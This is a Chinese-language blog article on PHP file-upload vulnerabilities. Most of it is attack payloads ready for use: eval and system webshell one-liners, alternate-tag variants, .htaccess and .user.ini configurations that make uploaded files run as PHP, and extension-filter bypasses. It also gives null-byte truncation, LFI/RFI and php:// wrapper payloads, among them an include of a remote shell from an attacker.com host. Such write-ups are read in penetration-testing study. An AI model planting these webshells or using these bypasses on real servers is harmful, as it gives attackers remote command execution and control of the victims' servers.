当前位置:首页 > 技术 > 正文内容

PHP文件上传漏洞原理与常见绕过技巧深度解析

访客 技术 2026年7月13日 6

Webshell 基础与执行原理

在PHP环境中,攻击者通常通过上传包含恶意代码的脚本(即Webshell)来获取服务器控制权。最经典的一句话木马利用了动态执行函数的特性。

<?php
$payload = $_POST['action'];
@eval($payload);
?>

上述代码中,$_POST['action'] 接收客户端通过POST请求传递的指令。eval() 函数将接收到的字符串作为PHP代码动态执行。前缀 @ 用于屏蔽执行过程中可能产生的错误回显,从而隐藏攻击痕迹。

漏洞利用流程

成功将恶意脚本上传至服务器后,攻击者需通过HTTP请求访问该文件并传递参数。例如,若文件上传至 /uploads/shell.php,可通过POST请求发送 action=system('whoami'); 来执行系统命令。

在实际渗透测试中,通常会借助图形化管理工具(如中国蚁剑、冰蝎或哥斯拉)来简化连接和命令执行过程。

Webshell管理工具连接示例

常见上传限制与绕过策略

1. 前端 JavaScript 校验绕过

部分应用仅在浏览器端通过JavaScript验证文件扩展名。攻击者可通过浏览器开发者工具(F12)直接禁用JS执行,或者在本地构造HTML表单并提交,从而绕过前端限制。若需观察上传后的回显路径,可暂时恢复JS执行以获取服务器返回的存储路径。

2. MIME 类型与文件头伪造

服务端可能通过检查HTTP请求头中的 Content-Type 或文件魔术字节(Magic Bytes)来验证文件类型。

常见 MIME 类型参考:

  • 图像类:image/jpeg, image/png, image/gif, image/webp
  • 文档类:application/pdf, application/msword, text/plain
  • 压缩包类:application/zip, application/x-rar-compressed

文件头伪造:
对于图像验证,可在文件内容开头添加特定的文件头标识。例如,GIF图片的标识为 GIF89a。通过抓包工具(如Burp Suite)拦截请求,将 Content-Type 修改为 image/gif,并在文件内容首部插入 GIF89a,即可欺骗仅检查文件头的后端逻辑。

抓包修改文件头与MIME示例

3. 黑名单过滤绕过

当服务端采用黑名单机制禁止特定后缀(如 .php)时,可尝试以下技巧:

  • 双写绕过:针对仅替换一次关键字的过滤逻辑,使用 shell.phphpp,替换后变为 shell.php
  • 大小写混写:在大小写不敏感的系统(如Windows)中,使用 shell.PhP
  • 罕见后缀:尝试 .php3, .php5, .phtml, .pht 等可被Web服务器解析的后缀。
  • Windows 特性利用
    • 末尾加空格:shell.php (Windows会自动去除文件名末尾的空格)。
    • 末尾加点:shell.php.(Windows会自动去除文件名末尾的点)。
    • NTFS 备用数据流:shell.php::$DATA

4. 代码标签与内容混淆

若服务端过滤了标准的 <?php 标签,可尝试替代语法(需注意PHP版本兼容性):

<!-- 短标签(需开启 short_open_tag) -->
<? @system($_GET['exec']); ?>

<!-- ASP 风格标签(PHP 7.0 已移除) -->
<% eval($_POST['cmd']); %>

<!-- Script 标签(PHP 7.0 已移除) -->
<script language="php">system('id');</script>

5. 服务器配置文件利用

通过上传特定的配置文件,改变服务器对当前目录文件的解析规则。

Apache (.htaccess):

# 将 .txt 文件作为 PHP 脚本解析
AddType application/x-httpd-php .txt

上传此文件后,再上传名为 webshell.txt 的木马即可执行。

PHP-FPM (.user.ini):

# 自动在每个PHP文件前包含指定文件
auto_prepend_file=avatar.jpg

将木马代码写入 avatar.jpg 并上传,只要同目录下有其他正常的PHP文件被访问,木马代码就会被自动加载执行。

文件包含漏洞协同利用

当直接上传的Webshell无法被解析时,可结合文件包含漏洞(LFI/RFI)来执行恶意代码。PHP的 include()require() 函数在引入文件时,会将其内容作为PHP代码解析。

  • 本地文件包含 (LFI)http://target.com/index.php?module=uploads/image.jpg
  • 远程文件包含 (RFI)http://target.com/index.php?module=http://attacker.com/shell.txt(需 allow_url_include=On

%00 截断技巧

在 PHP 5.3.4 之前的版本中,若 magic_quotes_gpc 处于关闭状态,可利用 URL 编码的 %00(空字节)进行截断。例如,当服务端强制追加 .jpg 后缀时,上传文件名设为 shell.php%00,最终保存的文件名将被截断为 shell.php

PHP 伪协议应用

PHP 支持多种伪协议,在文件包含或上传场景下可用于读取源码或执行代码。

  • file://:访问本地文件系统。
  • php://filter:用于读取文件内容并进行编码,常用于获取源码。
  • php://input:读取 POST 请求的原始数据,可配合 include() 执行代码。
  • data://:直接传递数据流。
  • phar://zip://:访问压缩包内的文件。

常用 Payload 示例:

# 读取 config.php 源码并进行 Base64 编码
php://filter/read=convert.base64-encode/resource=config.php

# 通过 php://input 执行代码 (POST 数据: <?php system('ls -la'); ?>)
index.php?file=php://input

# 使用 data 协议执行代码 (需 allow_url_include=On)
index.php?file=data://text/plain,<?php phpinfo(); ?>
index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

# 读取 zip 压缩包内的文件 (注意 # 需编码为 %23)
zip://uploads/archive.zip%23shell.php

# 读取 phar 压缩包内的文件
phar://uploads/package.phar/shell.php

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。